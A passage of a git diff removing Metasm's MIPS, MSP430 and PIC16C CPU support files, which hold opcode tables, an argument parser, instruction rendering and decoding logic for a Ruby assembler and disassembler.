(0b010000<<26) | (0b00000<<21), :rt, :idb - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb, :sel - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb, :sel - - addop 'tlbr', (0b010000<<26) | (1<<25) | 0b000001 - addop 'tlbwi',(0b010000<<26) | (1<<25) | 0b000010 - addop 'tlbwr',(0b010000<<26) | (1<<25) | 0b000110 - addop 'tlbp', (0b010000<<26) | (1<<25) | 0b001000 - addop 'eret', (0b010000<<26) | (1<<25) | 0b011000 - addop 'deret',(0b010000<<26) | (1<<25) | 0b011111 - addop 'wait', (0b010000<<26) | (1<<25) | 0b100000 # mode field ? - end - - def init_mips32r2 - init_mips32 - - addop 'rotr', 0b000010 | (1<<21), :rd, :rt, :sa - addop 'rotrv',0b000110 | (1<<6), :rd, :rt, :rs - - addop 'synci',(1<<26) | (0b11111<<16), :rs_i16 - - # special3 - addop 'ext', (0b011111<<26) | 0b000000, :rt, :rs, :sa, :idm1 - addop 'ins', (0b011111<<26) | 0b000100, :rt, :rs, :sa, :idb - addop 'rdhwr',(0b011111<<26)| 0b111011, :rt, :rd - addop 'wsbh',(0b011111<<26) | (0b00010<<6) | 0b100000, :rd, :rt - addop 'seb', (0b011111<<26) | (0b10000<<6) | 0b100000, :rd, :rt - addop 'seh', (0b011111<<26) | (0b11000<<6) | 0b100000, :rd, :rt - - # cp0 - addop 'rdpgpr', (0b010000<<26) | (0b01010<<21), :rd, :rt - addop 'wrpgpr', (0b010000<<26) | (0b01110<<21), :rd, :rt - addop 'di', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (0<<5) - addop 'di', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (0<<5), :rt - addop 'ei', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (1<<5) - addop 'ei', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (1<<5), :rt - end - alias init_latest init_mips32r2 -end - -class MIPS64 - def init_mips64 - init_mips32r2 - @valid_props.update :mi64 => true - - addop 'ld', 0b110111 << 26, :rt, :rs_i16, :m64 - addop 'lwu', 0b100111 << 26, :rt, :rs_i16 - addop 'sd', 0b111111 << 26, :rt, :rs_i16, :m64 - addop 'scd', 0b111100 << 26, :rt, :rs_i16, :m64 - addop 'ldl', 0b011010 << 26, :rt, :rs_i16 - addop 'ldr', 0b011011 << 26, :rt, :rs_i16 - addop 'sdl', 0b101100 << 26, :rt, :rs_i16 - addop 'sdr', 0b101101 << 26, :rt, :rs_i16 - addop 'lld', 0b110100 << 26, :rt, :rs_i16 - addop 'daddi', 0b011000 << 26, :rt, :rs, :i16 - addop 'daddiu', 0b011001 << 26, :rt, :rs, :i16 - - addop 'dclo', (0b011100 << 26) | (0b100101), :rd, :rt, :rs - addop 'dclz', (0b011100 << 26) | (0b100100), :rd, :rt, :rs - - addop 'dadd', 0b101100, :rd, :rs, :rt - addop 'daddu', 0b101101, :rd, :rs, :rt - addop 'dsub', 0b101110, :rd, :rs, :rt - addop 'dsubu', 0b101111, :rd, :rs, :rt - addop 'dsll', 0b111000, :rd, :rt, :sa - addop 'dsll32', 0b111100, :rd, :rt, :sa - addop 'dsllv', 0b010100, :rd, :rt, :rs - addop 'dsra', 0b111011, :rd, :rt, :sa - addop 'dsra32', 0b111111, :rd, :rt, :sa - addop 'dsrav', 0b010111, :rd, :rt, :rs - addop 'dsrl', 0b111010, :rd, :rt, :sa - addop 'dsrl32', 0b111110, :rd, :rt, :sa - addop 'dsrlv', 0b010110, :rd, :rt, :rs - addop 'ddiv', 0b011110, :rs, :rt - addop 'ddivu', 0b011111, :rs, :rt - addop 'dmult', 0b011100, :rs, :rt - addop 'dmultu', 0b011101, :rs, :rt - - addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb - addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb, :sel - addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb - addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb, :sel - end - - def init_mips64r2 - init_mips64 - @fields_mask.update :msbd => 0x1f - @fields_shift.update :msbd => 11 - - addop 'dext', (0b011111 << 26) | 0b000011, :rt, :rs, :sa, :msbd # sa => lsb - addop 'dextm', (0b011111 << 26) | 0b000001, :rt, :rs, :sa, :msbd - addop 'dextu', (0b011111 << 26) | 0b000010, :rt, :rs, :sa, :msbd - addop 'dins', (0b011111 << 26) | 0b000111, :rt, :rs, :sa, :msbd - addop 'dinsm', (0b011111 << 26) | 0b000101, :rt, :rs, :sa, :msbd - addop 'dinsu', (0b011111 << 26) | 0b000110, :rt, :rs, :sa, :msbd - - addop 'drotr', (1 << 21) | 0b111010, :rd, :rt, :sa - addop 'drotr32', (1 << 21) | 0b111110, :rd, :rt, :sa - addop 'drotrv', (1 << 6) | 0b010110, :rd, :rt, :rs - - addop 'dsbh', (0b011111 << 26) | (0b00010 << 6) | 0b100100, :rd, :rt - addop 'dshd', (0b011111 << 26) | (0b00101 << 6) | 0b100100, :rd, :rt - end - - alias init_latest init_mips64r2 -end -end -__END__ - def macro_addop_cop1(name, bin, *aprops) - flds = [ :rt, :fs ] - addop name, :cop1, bin, 'rt, fs', flds, *aprops - end - - def macro_addop_cop1_precision(name, type, bin, fmt, *aprops) - flds = [ :ft, :fs, :fd ] - addop name+'.'+(type.to_s[5,7]), type, bin, fmt, flds, *aprops - end - - - public - # Initialize the instruction set with the MIPS32 Instruction Set - def init_mips32 - :cc => [7, 18, :fpcc], - :op => [0x1F, 16, :op ], :cp2_rt => [0x1F, 16, :cp2_reg ], - :stype => [0x1F, 6, :imm ], - :code => [0xFFFFF, 6, :code ], - :sel => [3, 0, :sel ]}) - - # --------------------------------------------------------------- - # COP0, field rs - # --------------------------------------------------------------- - - addop 'mfc0', :cop0, 0b00000, 'rt, rd, sel', [ :rt, :rd, :sel ] - addop 'mtc0', :cop0, 0b00100, 'rt, rd, sel', [ :rt, :rd, :sel ] - - # --------------------------------------------------------------- - # COP0 when rs=C0 - # --------------------------------------------------------------- - - macro_addop_cop0_c0 'tlbr', 0b000001 - macro_addop_cop0_c0 'tlbwi', 0b000010 - macro_addop_cop0_c0 'tlwr', 0b000110 - macro_addop_cop0_c0 'tlbp', 0b001000 - macro_addop_cop0_c0 'eret', 0b011000 - macro_addop_cop0_c0 'deret', 0b011111 - macro_addop_cop0_c0 'wait', 0b100000 - - # --------------------------------------------------------------- - # COP1, field rs - # --------------------------------------------------------------- - - macro_addop_cop1 'mfc1', 0b00000 - macro_addop_cop1 'cfc1', 0b00010 - macro_addop_cop1 'mtc1', 0b00100 - macro_addop_cop1 'ctc1', 0b00110 - - addop "bc1f", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 0 ] - addop "bc1fl", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 2 ] - addop "bc1t", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 1 ] - addop "bc1tl", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 3 ] - - # --------------------------------------------------------------- - # COP1, field rs=S/D - # --------------------------------------------------------------- - - [ :cop1_s, :cop1_d ].each do |type| - type_str = type.to_s[5,7] - - macro_addop_cop1_precision 'add', type, 0b000000, 'fd, fs, ft' - macro_addop_cop1_precision 'sub', type, 0b000001, 'fd, fs, ft' - macro_addop_cop1_precision 'mul', type, 0b000010, 'fd, fs, ft' - macro_addop_cop1_precision 'abs', type, 0b000101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'mov', type, 0b000110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'neg', type, 0b000111, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'movz', type, 0b010010, 'fd, fs, ft' - macro_addop_cop1_precision 'movn', type, 0b010011, 'fd, fs, ft' - - addop "movf.#{type_str}", type, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ], :diff_bits, [ 16, 1, 0 ] - addop "movt.#{type_str}", type, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ], :diff_bits, [ 16, 1, 1 ] - - %w(f un eq ueq olt ult ole ule sf ngle seq ngl lt nge le ngt).each_with_index do |cond, index| - addop "c.#{cond}.#{type_str}", type, 0b110000+index, 'cc, fs, ft', - [ :ft, :fs, :cc ] - end - end - - # S and D Without PS - - [:cop1_s, :cop1_d].each do |type| - macro_addop_cop1_precision 'div', type, 0b000011, 'fd, fs, ft' - macro_addop_cop1_precision 'sqrt', type, 0b000100, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'round.w', type, 0b001100, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'trunc.w', type, 0b001101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'ceil.w', type, 0b001110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'floor.w', type, 0b001111, 'fd, fs', :ft_zero - - end - - # COP2 is not decoded (pretty useless) - - [:cop1_d,:cop1_w].each { |type| macro_addop_cop1_precision 'cvt.s', type, 0b100000, 'fd, fs', :ft_zero } - [:cop1_s,:cop1_w].each { |type| macro_addop_cop1_precision 'cvt.d', type, 0b100001, 'fd, fs', :ft_zero } - [:cop1_s,:cop1_d].each { |type| macro_addop_cop1_precision 'cvt.w', type, 0b100100, 'fd, fs', :ft_zero } - - [ :normal, :special, :regimm, :special2, :cop0, :cop0_c0, :cop1, :cop1_s, - :cop1_d, :cop1_w ].each \ - { |t| @@opcodes_by_class[t] = opcode_list.find_all { |o| o.type == t } } - end - - # Initialize the instruction set with the MIPS32 Instruction Set Release 2 - def init_mips64 - init_mips32 - - #SPECIAL - macro_addop_special "rotr", 0b000010, 'rd, rt, sa', :diff_bits, [ 26, 1, 1 ] - macro_addop_special "rotrv", 0b000110, 'rd, rt, rs', :diff_bits, [ 6, 1, 1 ] - - # REGIMM - addop "synci", :regimm, 0b11111, '', {:base => [5,21], :off => [16, 0] } - - # --------------------------------------------------------------- - # SPECIAL3 opcode encoding of function field - # --------------------------------------------------------------- - - addop "ext", :special3, 0b00000, 'rt, rs, pos, size', { :rs => [5, 21], :rt => [5, 16], - :msbd => [5, 11], :lsb => [5, 6] } - addop "ins", :special3, 0b00100, 'rt, rs, pos, size', { :rs => [5, 21], :rt => [5, 16], - :msb => [5, 11], :lsb => [5, 6] } - - addop "rdhwr", :special3, 0b111011, 'rt, rd', { :rt => [5, 16], :rd => [5, 11] } - - addop "wsbh", :bshfl, 0b00010, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - addop "seb", :bshfl, 0b10000, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - addop "seh", :bshfl, 0b11000, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - - # --------------------------------------------------------------- - # COP0 - # --------------------------------------------------------------- - - addop "rdpgpr", :cop0, 0b01010, 'rt, rd', {:rt => [5, 16], :rd => [5, 11] } - addop "wdpgpr", :cop0, 0b01110, 'rt, rd', {:rt => [5, 16], :rd => [5, 11] } - addop "di", :cop0, 0b01011, '', {}, :diff_bits, [ 5, 1 , 0] - addop "ei", :cop0, 0b01011, '', {}, :diff_bits, [ 5, 1 , 1] - - # --------------------------------------------------------------- - # COP1, field rs - # --------------------------------------------------------------- - - macro_addop_cop1 "mfhc1", 0b00011 - macro_addop_cop1 "mthc1", 0b00111 - - # Floating point - - [:cop1_s, :cop1_d].each do |type| - macro_addop_cop1_precision 'round.l', type, 0b001000, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'trunc.l', type, 0b001001, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'ceil.l', type, 0b001010, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'floor.l', type, 0b001011, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'recip', type, 0b010101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'rsqrt', type, 0b010110, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'cvt.l', type, 0b100101, 'fd, fs', :ft_zero - end - macro_addop_cop1_precision 'cvt.ps', :cop1_s, 0b100110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'cvt.s', :cop1_l, 0b100000, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'cvt.d', :cop1_l, 0b100000, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'add', :cop1_ps, 0b000000, 'fd, fs, ft' - macro_addop_cop1_precision 'sub', :cop1_ps, 0b000001, 'fd, fs, ft' - macro_addop_cop1_precision 'mul', :cop1_ps, 0b000010, 'fd, fs, ft' - macro_addop_cop1_precision 'abs', :cop1_ps, 0b000101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'mov', :cop1_ps, 0b000110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'neg', :cop1_ps, 0b000111, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'movz', :cop1_ps, 0b010010, 'fd, fs, ft' - macro_addop_cop1_precision 'movn', :cop1_ps, 0b010011, 'fd, fs, ft' - - addop "movf.#{:cop1_ps_str}", :cop1_ps, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ] - addop "movt.#{:cop1_ps_str}", :cop1_ps, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ] - - %w(f un eq ueq olt ult ole ule sf ngle seq ngl lt nge le ngt).each_with_index do |cond, index| - addop "c.#{cond}.ps", :cop1_cond, 0b110000+index, 'cc, fs, ft', - [ :ft, :fs, :cc ] - - # TODO: COP1X - - [ :special3, :bshfl, :cop1_l, :cop1_ps ].each \ - { |t| @@opcodes_by_class[t] = opcode_list.find_all { |o| o.type == t } } - end - - end - - # Reset all instructions - def reset - metaprops_allowed.clear - args_allowed.clear - props_allowed.clear - fields_spec.clear - opcode_list.clear - end - -end - # Array containing all the supported opcodes - attr_accessor :opcode_list - - init_mips32 -end - -end diff --git a/lib/metasm/metasm/cpu/mips/parse.rb b/lib/metasm/metasm/cpu/mips/parse.rb deleted file mode 100644 index e7daeac27b..0000000000 --- a/lib/metasm/metasm/cpu/mips/parse.rb +++ /dev/null @@ -1,51 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/opcodes' -require 'metasm/parse' - -module Metasm -class MIPS - def parse_arg_valid?(op, sym, arg) - # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) - case sym - when :rs, :rt, :rd; arg.kind_of? Reg - when :sa, :i16, :i20, :i26; arg.kind_of? Expression - when :rs_i16; arg.kind_of? Memref - when :ft; arg.kind_of? FpReg - else raise "internal error: mips arg #{sym.inspect}" - end - end - - def parse_argument(pgm) - pgm.skip_space - return if not tok = pgm.nexttok - if tok.type == :string and Reg.s_to_i[tok.raw] - pgm.readtok - arg = Reg.new Reg.s_to_i[tok.raw] - elsif tok.type == :string and FpReg.s_to_i[tok.raw] - pgm.readtok - arg = FpReg.new FpReg.s_to_i[tok.raw] - else - arg = Expression.parse pgm - pgm.skip_space - # check memory indirection: 'off(base reg)' # XXX scaled index ? - if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' - pgm.readtok - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] - base = Reg.new Reg.s_to_i[ntok.raw] - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' - arg = Memref.new base, arg - end - end - arg - end -end -end diff --git a/lib/metasm/metasm/cpu/mips/render.rb b/lib/metasm/metasm/cpu/mips/render.rb deleted file mode 100644 index 31ad15a331..0000000000 --- a/lib/metasm/metasm/cpu/mips/render.rb +++ /dev/null @@ -1,43 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/opcodes' -require 'metasm/render' - -module Metasm -class MIPS - class Reg - include Renderable - def render ; [self.class.i_to_s[@i]] end - end - class FpReg - include Renderable - def render ; [self.class.i_to_s[@i]] end - end - class Memref - include Renderable - def render ; [@offset, '(', @base, ')'] end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - if (a = i.args.first).kind_of? Expression and a.op == :- and a.lexpr.kind_of? String and a.rexpr.kind_of? String and opcode_list_byname[i.opname].first.props[:setip] - # jmp foo is stored as jmp foo - bar ; bar: - r << a.lexpr - else - i.args.each { |a_| - r << a_ << ', ' - } - r.pop - end - end - r - end -end -end diff --git a/lib/metasm/metasm/cpu/msp430.rb b/lib/metasm/metasm/cpu/msp430.rb deleted file mode 100644 index 78e89bcd8d..0000000000 --- a/lib/metasm/metasm/cpu/msp430.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/msp430/decode' diff --git a/lib/metasm/metasm/cpu/msp430/decode.rb b/lib/metasm/metasm/cpu/msp430/decode.rb deleted file mode 100644 index 2eb694243d..0000000000 --- a/lib/metasm/metasm/cpu/msp430/decode.rb +++ /dev/null @@ -1,247 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/msp430/opcodes' -require 'metasm/decode' - -module Metasm -class MSP430 - def build_opcode_bin_mask(op) - op.bin_mask = 0 - op.fields.each_key { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask ^= 0xffff - end - - def build_bin_lookaside - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - b = (op.bin >> 8) & 255 - msk = (op.bin_mask >> 8) & 255 - - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b & msk - end - } - lookaside - end - - def decode_findopcode(edata) - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u16, @endianness) - edata.ptr -= 2 - di.opcode = @bin_lookaside[(val >> 8) & 0xff].find { |opcode| (val & opcode.bin_mask) == opcode.bin } - di if di.opcode - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = edata.decode_imm(:u16, @endianness) - - field_val = lambda{ |f| - (val >> @fields_shift[f]) & @fields_mask[f] - } - - # must decode rs first - vals = {} - ([:rs, :rd, :r_pc] & op.args).each { |a| - mod = { :rs => :as, :rd => :ad, :r_pc => :ad }[a] - mod = :as if mod == :ad and not op.fields[mod] # addop_macro1 -> rs + ad - - if a == :r_pc - r = Reg.new(0) - else - r = Reg.new(field_val[a]) - end - - w = op.props[:byte] ? 1 : 2 - - case field_val[mod] - when 0 - if r.i == 3 and a == :rs - vals[a] = Expression[0] - else - vals[a] = r - end - when 1 - if r.i == 3 and a == :rs - vals[a] = Expression[1] - else - imm = edata.decode_imm(:u16, @endianness) - r = nil if r.i == 2 # [imm] - vals[a] = Memref.new(r, imm, w) - end - when 2 - if r.i == 3 - vals[a] = Expression[2] - elsif r.i == 2 - vals[a] = Expression[4] - else - vals[a] = Memref.new(r, 0, w) - end - when 3 - if r.i == 3 - vals[a] = Expression[-1] - elsif r.i == 2 - vals[a] = Expression[8] - elsif r.i == 0 # pc++ - # XXX order wrt other edata.decode_imm ? - vals[a] = Expression[edata.decode_imm(:u16, @endianness)] - else - vals[a] = Memref.new(r, 0, w, true) - end - end - } - - op.args.each { |a| - di.instruction.args << case a - when :joff; Expression[2 * Expression.make_signed(field_val[a], 10)] - when :rs, :rd, :r_pc; vals[a] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.opcode.name =~ /^j/ - delta = di.instruction.args.last.reduce - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - - opcode_list.map { |ol| ol.name }.uniq.each { |op| - @backtrace_binding[op] ||= case op - when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] }} - when 'cmp', 'test'; lambda { |di, *a| {} } # TODO - when 'add', 'adc' ; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } - when 'sub', 'sbc'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } - when 'and'; lambda { |di, a0, a1| { a0 => Expression[a0, :&, a1] } } - when 'or'; lambda { |di, a0, a1| { a0 => Expression[a0, :|, a1] } } - when 'xor'; lambda { |di, a0, a1| { a0 => Expression[a0, :^, a1] } } - when 'push'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[a0], - :sp => Expression[:sp, :-, 2] } } - when 'call'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[di.next_addr], - :sp => Expression[:sp, :-, 2] } } - when 'pop'; lambda { |di, a0| { a0 => Expression[Indirection[:sp, 2]], - :sp => Expression[:sp, :+, 2] } } - when 'ret'; lambda { |di| { :sp => Expression[:sp, :+, 2] } } - when 'reti'; lambda { |di| { :sp => Expression[:sp, :+, 4] } } - when /^j/; lambda { |di, a0| {} } - end - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - when Memref; arg.symbolic(di.address) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = binding[di, *a] || {} - di.instruction.args.grep(Memref).each { |m| - next unless r = m.base and m.postincr - r = m.base.symbolic - bd[r] ||= Expression[r, :+, m.size] - } - bd - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - { :incomplete_binding => Expression[1] } - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - case di.instruction.opname - when 'ret' - return [Indirection[:sp, 2, di.address]] - when 'reti' - return [Indirection[[:sp, :+, 2], 2, di.address]] - end - - # XXX add pc, 42 ? - val = di.instruction.args[0] - case val - when Reg; val = val.symbolic - when Memref; val = val.symbolic(di.address) - end - - [Expression[val]] - end - - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, - :snapshot_addr => faddr, :origin => retaddr) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - bt_val[:sp] - end - - b - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/msp430/main.rb b/lib/metasm/metasm/cpu/msp430/main.rb deleted file mode 100644 index fba9fa6689..0000000000 --- a/lib/metasm/metasm/cpu/msp430/main.rb +++ /dev/null @@ -1,62 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm - -class MSP430 < CPU - def initialize(e = :little) - super() - @endianness = e - @size = 16 - end - - class Reg - include Renderable - Sym = (4..15).inject(0 => :pc, 1 => :sp, 2 => :flags, 3 => :rzero) { |h, i| h.update i => "r#{i}".to_sym } - - attr_accessor :i - def initialize(i) ; @i = i end - def symbolic ; Sym[@i] end - def render ; [Sym[@i].to_s] end - def ==(o) ; o.class == self.class and o.i == @i end - end - - class Memref - attr_accessor :base, :offset, :size, :postincr - - def initialize(base, offset = 0, size = nil, postincr = false) - @base = base - @offset = Expression[offset] - @size = size - @postincr = postincr - end - - def symbolic(orig=nil) - r = @base.symbolic if @base - e = Expression[r, :+, @offset].reduce - Indirection[e, (@size || 1), orig] - end - - include Renderable - - def render - b = @base - b = @base.to_s + '++' if @base and @postincr - p = Expression[b, :+, @offset].reduce - Indirection[p, @size].render - end - end - - def init_opcode_list - init - end - - def dbg_register_list - @dbg_register_list ||= Reg::Sym.sort.transpose.last - end -end -end diff --git a/lib/metasm/metasm/cpu/msp430/opcodes.rb b/lib/metasm/metasm/cpu/msp430/opcodes.rb deleted file mode 100644 index a8825db93e..0000000000 --- a/lib/metasm/metasm/cpu/msp430/opcodes.rb +++ /dev/null @@ -1,101 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/msp430/main' - -module Metasm -class MSP430 - def addop(name, bin, *args) - o = Opcode.new name, bin - - args.each { |a| - o.args << a if @valid_args[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] - } - - @opcode_list << o - end - - def init - @opcode_list = [] - - @fields_mask = { - :as => 3, # adressing mode - :ad => 1, # adressing mode - :rd => 0xf, - :rs => 0xf, - :joff => 0x3ff, # signed offset for jumps - } - @fields_shift = { - :as => 4, - :ad => 7, - :rd => 0, - :rs => 8, - :joff => 0, - } - @valid_args = { :r_pc => true, :rd => true, :rs => true, :joff => true } - @valid_props = { :setip => true, :stopexec => true, :saveip => true, :byte => true } - - # https://en.wikipedia.org/wiki/TI_MSP430 - - addop_macro1 'rrc', 0, :byte - addop_macro1 'swpb', 1 - addop_macro1 'rra', 2, :byte - addop_macro1 'sxt', 3 - addop_macro1 'push', 4, :byte - addop_macro1 'call', 5, :setip, :stopexec, :saveip - - addop 'reti', 0b000100_110_0000000 - - addop_macro2 'jnz', 0 - addop_macro2 'jz', 1 - addop_macro2 'jnc', 2 - addop_macro2 'jc', 3 - addop_macro2 'jb', 4 # 'jn' jump if negative => jl unsigned ? - addop_macro2 'jge', 5 - addop_macro2 'jl', 6 - addop_macro2 'jmp', 7, :stopexec - - addop 'ret', 0x4130, :setip, :stopexec # mov pc, [sp++] - addop 'pop', 0x4130, :rd, :ad # mov rd, [sp++] - - addop_macro3 'mov', 4 - addop_macro3 'add', 5 - addop_macro3 'adc', 6 # 'addc' - addop_macro3 'sbc', 7 - addop_macro3 'sub', 8 - addop_macro3 'cmp', 9 - addop_macro3 'dadd',10 # decimal add with carry - addop_macro3 'test',11 # 'bit' - addop_macro3 'andn',12 # 'bic' - addop_macro3 'or', 13 # 'bis' - addop_macro3 'xor', 14 - addop_macro3 'and', 15 - end - - def addop_macro1(name, bin, *props) - if props.delete :byte - addop_byte name, (0b000100 << 10) | (bin << 7), :as, :rd, *props - else - addop name, (0b000100 << 10) | (bin << 7), :as, :rd, *props - end - end - - def addop_macro2(name, bin, *props) - addop name, (0b001 << 13) | (bin << 10), :joff, :setip, *props - end - - def addop_macro3(name, bin, *props) - addop_byte name, (bin << 12), :r_pc, :ad, :as, :rs, :setip, :stopexec # dst == pc - addop_byte name, (bin << 12), :rd, :ad, :as, :rs - end - - def addop_byte(name, bin, *props) - addop name, bin, *props - addop name + '.b', bin | (1 << 6), :byte, *props - end -end -end diff --git a/lib/metasm/metasm/cpu/pic16c/decode.rb b/lib/metasm/metasm/cpu/pic16c/decode.rb deleted file mode 100644 index 9c8ccfb1e1..0000000000 --- a/lib/metasm/metasm/cpu/pic16c/decode.rb +++ /dev/null @@ -1,41 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/pic16c/opcodes' -require 'metasm/decode' - -module Metasm -class Pic16c - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = Array.new(op.bin.length, 0) - op.fields.each { |f, (oct, off)| - op.bin_mask[oct] |= (@fields_mask[f] << off) - } - op.bin_mask.map! { |v| 255 ^ v } - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - @opcode_list.each { |op| - - build_opcode_bin_mask op - - b = op.bin[0] - msk = op.bin_mask[0] - - for i in b..(b | (255^msk)) - ext if i & msk != b & msk - - lookaside[i] << op - end - } - lookaside - end -end -end diff --git a/lib/metasm/metasm/cpu/pic16c/main.rb b/lib/metasm/metasm/cpu/pic16c/main.rb deleted file mode 100644 index ca4185e86d..0000000000 --- a/lib/metasm/metasm/cpu/pic16c/main.rb +++ /dev/null @@ -1,17 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class Pic16c < CPU - def initialize(endianness = :big) - super() - @endianness = endianness - init - end -end -end diff --git 